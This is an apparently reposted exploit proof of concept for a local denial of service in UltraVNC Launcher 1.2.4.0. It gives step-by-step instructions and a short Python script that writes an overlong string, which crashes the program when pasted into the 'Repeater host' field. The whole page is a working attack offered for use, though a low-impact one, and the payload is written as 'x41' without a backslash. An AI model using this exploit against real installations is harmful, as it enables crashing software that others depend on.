UltraVNC Launcher 1.2.4.0 – ‘RepeaterHost’ Denial of Service (PoC) – Digitalmunition




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Published on April 6th, 2020 📆 | 7290 Views ⚑

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UltraVNC Launcher 1.2.4.0 – ‘RepeaterHost’ Denial of Service (PoC)

# Exploit Title:  UltraVNC Launcher 1.2.4.0 - 'RepeaterHost' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

#Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Launcher_RepeaterHost.py
#2.- Open UltraVNC_1.2.40-Launcher_RepeaterHost.txt and copy content to clipboard
#3.- Open UltraVNC Launcher
#4.- Select "Properties"
#5.- In "Repeater host" Paste Clipboard
#6.- Click on "OK"
#7.- Crashed

cod = "x41" * 300

f = open('UltraVNC_1.2.40-Launcher_RepeaterHost.txt', 'w')
f.write(cod)
f.close()
            

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